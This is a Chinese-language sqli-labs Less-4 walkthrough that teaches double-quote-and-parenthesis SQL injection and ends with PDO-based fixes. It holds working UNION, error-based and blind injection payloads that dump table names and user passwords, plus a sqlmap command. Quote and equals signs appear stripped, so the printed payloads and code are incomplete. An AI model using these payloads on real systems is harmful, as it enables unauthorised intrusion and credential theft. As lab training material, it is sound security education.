1. 为什么Less-4看起来像Less-1却能卡住一批人1.1 先复习一下前三关的闭合方式sqli-labs这个靶场刷到第四关的人大概率已经从Less-1一路踩过来了。前三关分别代表三种最常见的SQL注入闭合形态Less-1是单引号字符型注入SQL语句大概长这样WHERE id$id你输入1会报错输入1 --就能闭合掉Less-2是数字型注入直接拼数字不用闭合Less-3是单引号加括号的变形需要构造1)才能闭合。很多人在Less-3的时候就已经有点绕了因为报错信息里能看到一个右括号提示你这关多了括号。到了Less-4又换了。但问题来了Less-4的页面你输入1的时候报错信息长得和Less-1、Less-3都很像都是MySQL的语法错误提示。很多新手这时候就懵了觉得既然报错格式都一样那是不是按Less-1的玩法直接1 --就能过——然后发现不行页面没有任何变化既不报错也不回显数据跟卡住了一样。这其实是整个系列笔记里我最想强调的一点报错信息长得像不代表底层SQL结构一样。你必须在报错信息里找细节而不是只看有没有报错这个表面结果。1.2 Less-4的报错信息里藏着真相Less-4在浏览器里的表现我不止一次看到群友截图问为什么我按Less-1的方法不行。我把当时的完整报错贴出来你们感受一下You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1) LIMIT 0,1 at line 1注意看引号位置。这个报错的尾部是1) LIMIT 0,1里面出现了两个连续的双引号也就是紧接着一个右括号)。这个细节非常关键。Less-1的报错尾部是1 LIMIT 0,1里面是单引号的重复。Less-3的报错尾部是1) LIMIT 0,1单引号加括号。而Less-4的报错尾部是1) LIMIT 0,1双引号加括号。所以从报错信息里实际能看到三样东西双引号是闭合字符之一这意味着源码里用的是$id而不是$id。双引号后面跟了一个右括号说明SQL语句里还有一层括号包裹。整个结构大概长这样WHERE id($id)。有经验的师傅看一眼报错就知道这关怎么打但新手往往只看到了SQL语法错误直接跳过细节去猜payload这就是Less-4卡人的核心原因。你不需要背payload你需要的是从报错里读出数据库给你留的提示。1.3 判断闭合类型的标准思路从Less-1到Less-4我总结了一套手工判断闭合类型的流程这套流程后面刷Less-5、Less-6甚至其他靶场都能复用第一步输入一个单引号观察页面是报错、是正常、还是空白。 第二步输入一个双引号同样观察三种结果。 第三步输入一个单引号加右括号)再观察。 第四步输入双引号加右括号)再观察。把这四次的响应对比一下就能确定闭合方式。Less-4的测试结果很明显输入报错输入报错输入)报错输入)页面正常且能回显数据。那闭合字符就是)。这里有个实操小技巧测试的时候最好在URL里分别尝试?id1、?id1、?id1)、?id1)不要凭感觉一次到位也不要只测一个就下结论。因为有的关卡可能同时存在括号和引号的组合你不把所有候选都试一遍很容易把单引号闭合和单引号加括号闭合搞混。2. 源码视角双引号加括号的SQL拼接到底长什么样2.1 从报错反推SQL语句结构既然确定了Less-4是双引号加括号闭合那我们可以反推一下后端PHP代码里的SQL语句。如果你看过sqli-labs的源码Less-4的核心逻辑大概是这样的$id $_GET[id]; $sql SELECT * FROM users WHERE id(\$id\) LIMIT 0,1; $result mysqli_query($con, $sql);注意看这里用的是双引号字符串把$id包起来外面又套了一层圆括号。MySQL的语法中双引号和单引号在字符串字面量上是等价的取决于SQL模式所以($id)在SQL里就是一个字符串类型的比较。当你输入?id1的时候拼接出来的SQL是SELECT * FROM users WHERE id(1) LIMIT 0,1MySQL解析到1的时候前两个双引号把1包成了一个完整字符串后面那个独立的双引号就成了语法错误的来源于是报错信息里出现了1)这样的片段。当你输入?id1) --的时候拼接出来的SQL是SELECT * FROM users WHERE id(1) -- ) LIMIT 0,1这里的--把后面的内容注释掉了整条SQL语句变成SELECT * FROM users WHERE id(1)等于说$id变成了1)成功闭合了双引号和右括号后面的) LIMIT 0,1全被注释掉SQL语句语法正确正常执行。这就是为什么?id1) --能直接过关。2.2 为什么双引号注入比单引号注入更容易被忽略老实说双引号注入在真实环境里比单引号少见但绝对不是不存在。很多开发者心里有一个固有印象我只要把用户输入里的单引号过滤掉SQL注入就防住了。这种想法是最危险的。原因是PHP里的字符串拼接习惯。有些老项目用双引号字符串包SQL语句手一抖就把变量直接拼进去了比如$sql SELECT * FROM users WHERE name\$name\;这种写法如果$name是用户可控的那么双引号就是一个完美的利用点。而且说实话很多WAF规则和开发者的安全意识都集中在单引号上双引号反而成了一个盲区。Less-4模拟的正是这种只想着防单引号、没防双引号的开发疏忽。另外一个值得说的点是浏览器在URL里直接传双引号是没有问题的你不需要做额外的URL编码。但如果你用Burp Suite或HackBar测有时工具会自动做URL编码%22就是双引号的URL编码形式这点需要留意不然你看到的payload和实际发送的payload不一致容易产生误判。2.3 推断—验证—利用三步法我在前面几篇笔记里反复强调过一个套路先推断再验证最后利用。拿到一个注入点不要急着上sqlmap先手工走一遍推断阶段根据报错信息判断闭合字符的类型。Less-4的报错里出现了双引号和右括号所以推断闭合是)。验证阶段用最保守的payload验证推断是否正确。输入?id1) --如果页面正常显示id1的数据说明闭合无误。再利用阶段闭合确认后开始ORDER BY、UNION SELECT或布尔盲注。这套方法在Less-4上特别管用因为双引号闭合不太常见很多人会惯性思维地按单引号处理。你用三步法强制自己走一遍每一步都拿到明确的响应结果基本不会跑偏。这里额外提一个我在实测中遇到的坑有些版本的sqli-labs在MySQL严格模式下双引号字符串的判断行为会有细微差异。如果遇到?id1不报错、但?id1反而报错的情况不要惊讶先确认你本地MySQL的sql_mode配置。默认情况下MySQL把双引号当字符串字面量处理和单引号等价所以正常按上面的流程走就行。3. 手工注入完整实操从闭合到拖库的七个步骤3.1 第一步确定闭合字符这个前面已经讲了Less-4的闭合字符是)。我们直接进入下一步的实操验证URL为http://127.0.0.1/sqli-labs/Less-4/?id1) --浏览器返回正常页面显示Your Login name: Dumb和Your Password: Dumb说明闭合成功。这里有一个细节注释符后面那个加号在URL里的作用是代表空格。因为HTTP请求中URL里的空格会被编码成%20或者而MySQL的注释符--后面必须跟一个空格才能生效所以--实际上就是--的意思。如果你写的不是--而是--MySQL会认为--后面没有空格注释不一定生效导致payload失败。3.2 第二步用ORDER BY探测列数闭合确认之后第一步永远是确认SELECT查询的列数。我用ORDER BY从1开始逐步往上加http://127.0.0.1/sqli-labs/Less-4/?id1) ORDER BY 3 --页面正常说明至少3列。http://127.0.0.1/sqli-labs/Less-4/?id1) ORDER BY 4 --页面报错说明只有3列。这个探测原理很简单ORDER BY n是让结果集按第n列排序。如果n大于实际列数MySQL会报Unknown column 4 in order clause。所以从1试到报错为止最后一个正常的数字就是列数。这里我建议直接二分探测比如先ORDER BY 5如果正常说明列数大于等于5再往上加如果报错则说明小于5再往回减。这样能少发几次请求。不过靶场里请求本来就快新手老老实实从1加也行顺便体会一下报错的变化过程。3.3 第三步联合查询定位回显点知道了列数是3接下来用UNION SELECT定位页面上哪些位置会回显查询结果。先把id改成不存在的负数让前面的查询结果为空然后用UNION SELECT 1,2,3http://127.0.0.1/sqli-labs/Less-4/?id-1) UNION SELECT 1,2,3 --页面显示Your Login name: 2和Your Password: 3。这说明第2列和第3列的数据会回显在页面上第1列不回显。这里为什么要用负数id因为MySQL的UNION查询默认取第一个SELECT的结果作为字段名如果没有匹配的数据才会显示第二个SELECT的结果。id-1不存在相当于强制让第一个SELECT返回空集这样第二个SELECT的数据就能显示出来。如果你用?id1) UNION SELECT ...页面会显示id1的数据UNION的结果被覆盖掉你会误以为联合查询没生效。定位回显点的意义在于你要把你想要的数据放在第2列或第3列的位置这样页面才会打印出来。Less-4比较友好回显位直接可见。如果页面完全没有回显位就只能考虑报错注入、布尔盲注或时间盲注了这部分我在后面展开。3.4 第四步到第七步爆库名、爆表名、爆字段名、爆数据回显点确定后剩下的就是套模板。先拿当前数据库名http://127.0.0.1/sqli-labs/Less-4/?id-1) UNION SELECT 1,database(),3 --页面显示Your Login name: security当前数据库名是security。再拿这个库里所有的表http://127.0.0.1/sqli-labs/Less-4/?id-1) UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() --页面会列出security库下所有的表比如emails、referers、uagents、users等。这里用group_concat()把多行结果拼成一行方便一次性显示。然后拿users表里的所有字段http://127.0.0.1/sqli-labs/Less-4/?id-1) UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers --注意这里table_nameusers用的是单引号不要把它和前面的双引号闭合搞混。双引号是闭合外层SQL的单引号是查询条件里的字符串字面量两者互不干扰。页面返回users表的字段id、username、password。最后直接查数据http://127.0.0.1/sqli-labs/Less-4/?id-1) UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --这里0x3a是冒号的十六进制表示用来分隔username和password让结果更易读。页面会列出users表里所有用户名和密码的键值对。到这里Less-4的手工注入流程就完整走通了。跟Less-1相比除了闭合字符从变成了)后面所有的步骤完全一样。这也再次证明了SQL注入的核心不在于背payload而在于识别闭合结构。4. 报错注入、盲注和工具的扩展打法4.1 为什么重点是updatexml和extractvalue联合查询虽然好用但它有一个硬性前提页面必须有回显位。万一后端把查询结果直接做逻辑判断不输出到页面上联合查询就没辙了。这个时候报错注入就派上用场。Less-4页面在报错时会直接输出MySQL的错误信息这意味着我们完全可以利用这个特性做报错注入。原理很简单让MySQL在执行查询的时候把我们想要的数据塞进报错信息里页面就会把报错信息打印出来。我实测过两个最常用的函数updatexml和extractvalue。updatexml的用法http://127.0.0.1/sqli-labs/Less-4/?id1) AND updatexml(1,concat(0x7e,database(),0x7e),1) --extractvalue的用法http://127.0.0.1/sqli-labs/Less-4/?id1) AND extractvalue(1,concat(0x7e,database(),0x7e)) --两种写法都会触发一个XPath解析错误错误信息里带着~security~这样的内容0x7e是波浪号~用来标记数据的起始和结束位置。因为XPath表达式格式非法MySQL会把整个表达式内容原样回显到错误信息里。这里有个常见坑报错信息有个长度限制大概是32个字符左右。如果你直接group_concat(table_name)表名一多就会截断导致只能看到前半部分。解决办法是用substr()分批次取http://127.0.0.1/sqli-labs/Less-4/?id1) AND updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,20),0x7e),1) --用substr(字符串, 起始位置, 截取长度)每次取20个字符多跑几次把数据拼完整。很多新手第一次用报错注入发现数据不完整就以为是姿势不对其实是没搞懂截断这个特性。4.2 布尔盲注和时间盲注的手工写法如果报错信息也被屏蔽了页面只剩正常和异常两种状态那就得上盲注。Less-4虽然本身有报错回显但作为练习用它来练盲注思路同样有价值。布尔盲注的核心思路是构造一个条件判断如果为真页面正常为假页面异常。Less-4的payload长这样http://127.0.0.1/sqli-labs/Less-4/?id1) AND ascii(substr((select database()),1,1))100 --如果当前数据库名的第一个字符的ASCII码大于100页面正常否则页面空白或者显示不同内容。通过二分法不断调整比较值就能逐字猜出数据。时间盲注在此基础上更进一步把条件真假放到SLEEP()函数里http://127.0.0.1/sqli-labs/Less-4/?id1) AND if(ascii(substr((select database()),1,1))100,sleep(3),0) --条件为真时数据库会休眠3秒再返回条件为假时立即返回。你在Burp Suite或者浏览器里观察响应时间就能判断条件真假。这里给个实际建议手工盲注非常折磨人而且很容易出错。Less-4作为练习你只要明白为什么能盲注payload背后的逻辑是什么就行真正大批量猜数据还是建议写脚本。Python的requests库循环发请求每猜一个字符最多8次请求因为是8位二进制配合二分法能把效率提高不少。我当年练盲注的时候写过一个几十行的脚本每次跑完看它逐字打印出库名那种感觉真的会上瘾。4.3 sqlmap一把梭的理解与误区关卡刷到这里很多人会想sqlmap一把梭不就行了确实Less-4这种经典靶场sqlmap跑得飞快sqlmap -u http://127.0.0.1/sqli-labs/Less-4/?id1 --dbs --batchsqlmap会自动探测出这是双引号加括号闭合然后自动注入。跑完库名跑表名跑完表名跑字段名最后--dump直接导出所有数据。但我还是要多说一句**如果你只会sqlmap一把梭Less-4对你来说跟Less-1没有任何区别因为你根本没搞清楚这关在考什么。**sqlmap是一个验证工具不是一个学习工具。它的价值在于我知道了这里是双引号闭合我用工具试试能不能直接出数据而不是我不知道闭合方式工具告诉我了。我在带新人刷靶场的时候要求是必须先手工把闭合判断、列数探测、回显定位、数据提取完整走一遍跑通了再用sqlmap复核结果。这样既加深了对注入原理的理解也知道sqlmap的输出到底是怎么来的。等你手工流程烂熟于心sqlmap只是锦上添花。5. 站在防御角度重新看这个漏洞5.1 三种修复方案及效果对比Less-4的漏洞根源只有一个用户输入直接拼接进了SQL语句。修复思路也就是围绕如何防止拼接展开。我整理了三套方案从最推荐到最不推荐排列。首选方案是预编译也叫参数化查询。用PDO的预处理语句SQL语句结构提前固定用户输入只作为参数传递永远不可能改变SQL语义$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$id]);这套方案对单引号、双引号、括号、注释符统统免疫因为参数化的值不会被当作SQL代码解析数据库只把它当字符串字面量处理。这也是现在主流框架默认的做法Laravel的查询构造器、ThinkPHP的参数绑定底层都是这个原理。次选方案是输入校验和过滤。比如使用intval()强转整数$id intval($_GET[id]); $sql SELECT * FROM users WHERE id(\$id\) LIMIT 0,1;Less-4的id本身是数字用intval()直接把它变成纯数字双引号注入就无从谈起了。但这种方法只适用于特定数据格式如果输入本身是字符串比如用户名、搜索关键词你不能无脑强转只能做转义和过滤。最后的备选方案是黑名单过滤。把单引号、双引号、括号、注释符等一网打尽。缺点也很明显攻击者会想方设法绕过比如用十六进制编码、内联注释、大小写变形等。黑名单永远是防守方的下策因为你没法穷举所有攻击载荷。5.2 这个关卡在真实场景中的映射有人可能会觉得这种($id)的SQL写法是靶场故意设计出来的真实世界根本不存在。这个想法不对。我举个真实场景很多老旧的PHP管理系统尤其是2015年之前的项目代码里用双引号字符串写SQL语句的比例相当高。开发者的习惯是外层用双引号内层变量用单引号包比如$sql SELECT * FROM product WHERE code\$code\;如果$code是用户从查询参数里直接带入的没有经过任何过滤和预编译那就是Less-4的翻版。而且这种场景比单引号注入更隐蔽因为很多安全扫描器和WAF规则的第一优先级是检测单引号。你输入双引号WAF可能根本没反应。还有一个映射场景是JSON API。现在很多后端接口用JSON传参解码之后的值可能包含双引号。如果后端拿到这个值直接拼SQL同样会形成双引号闭合问题。所以Less-4不是过时的靶场关卡它映射的是一个长期存在、且容易被安全盲区覆盖的漏洞类型。5.3 刷靶场的最优顺序和心态作为一个把sqli-labs从头到尾刷过好几轮的人我最后聊聊学习路径。Less-1到Less-4看起来只是闭合方式不同但它们对应的核心能力是闭合识别。如果你能不看任何writeup从报错信息、页面响应、数据特征里判断出这些闭合类型那就说明你已经初步掌握了SQL注入的思维框架。Less-5到Less-6会考你报错注入和盲注Less-7到Less-10考文件读写和更复杂的闭合Less-11开始进入POST注入Less-23以后考过滤绕过。每一关都是在前面的基础上叠加新的知识点。所以我的建议是Less-1到Less-4一定要手写payload过关不要开工具不要看writeup。遇到卡关先自己分析报错信息把能想到的闭合方式都试一遍哪怕试错了也是收获。如果你能做到不看任何提示从Less-1一口气手写到Less-4再回头看这篇笔记你会发现所有内容都是你已经踩过一遍的路径。刷靶场的时候还有几个心态问题值得说。一是不要追求秒杀sqli-labs的价值在于让你体会不同类型的SQL语句结构而不是让你炫耀速度。二是不用总想着把每一关的每一个注入方式都试全那会消耗大量精力反而抓不住重点。三是一定要在练习的同时建立防御视角知道这个漏洞是怎么产生的、后端代码哪里写得不严谨、你会怎么修这样才能从会打变成懂安全。我在实际带项目的时候经常用Less-4这类案例给开发团队做安全培训因为它的代码量极小、问题清晰、复现简单是讲为什么不能拼接SQL的最好教材。每次讲完总有开发同事恍然大悟原来双引号也能注入原来我写的代码里就有这种问题。最后提醒一句不管是在靶场练习还是在真实环境中做安全测试都要在授权范围内进行。sqli-labs是本地靶场随便折腾线上环境一定要先拿到书面授权再动手这是安全从业者最基本的职业底线。